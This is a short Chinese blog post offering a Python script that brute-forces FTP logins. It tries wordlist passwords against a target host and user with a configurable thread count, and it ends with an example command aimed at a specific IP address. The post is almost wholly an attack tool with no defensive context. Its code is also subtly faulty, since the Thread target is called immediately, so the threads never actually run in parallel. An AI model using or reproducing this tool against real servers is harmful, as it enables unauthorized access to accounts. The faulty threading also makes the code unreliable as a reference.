线程猜出FTP的密码

已知在某个文件内(wordlist.txt),ftp的密码为其中一个,快速找到ftp的密码, 线程数为50

import ftplib
from threading import Thread
import queue

q = queue.Queue()

port = 21


def connect_ftp():
    global q
    while True:
        password = q.get()
        server = ftplib.FTP()
        print("尝试连接", password)
        try:
            server.connect(host, port, timeout=2)
            server.login(user, password)
        except ftplib.error_perm:
            pass
        else:
            print("主机%sftp的账号%s密码是%s" % (host, user, password))
            with q.mutex:
                q.queue.clear()
                q.all_tasks_done.notify_all()
                q.unfinshed_tasks = 0
        finally:
            q.task_done()


if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser(description="破解ftp密码")
    parser.add_argument("host", help="主机名字或者IP地址")
    parser.add_argument("-U", "--user", help="ftp用户名")
    parser.add_argument('-p', "--pass_list", help="破解字典")
    parser.add_argument('-t', "--threads", help="开启线程数量")
    args = parser.parse_args()

    host = args.host
    user = args.user
    pass_list = args.pass_list
    n_threads = int(args.threads)
    # print(n_threads)
    print(pass_list)
    passwords = open(pass_list).read().split("\n")
    # 将密码添加到队列中
    # print(passwords)
    for password in passwords:
        q.put(password)
    for t in range(n_threads):
        thread = Thread(target=connect_ftp())
        # 设置为后台线程
        thread.daemon = True
        thread.start()
    # 等待队列为空
    q.join()

# python password.py 192.100.99.240 -U 50927 -p wordlist.txt -t 50

posted on 2020-09-14 16:57  软饭攻城狮  阅读(86)  评论(0编辑  收藏  举报

导航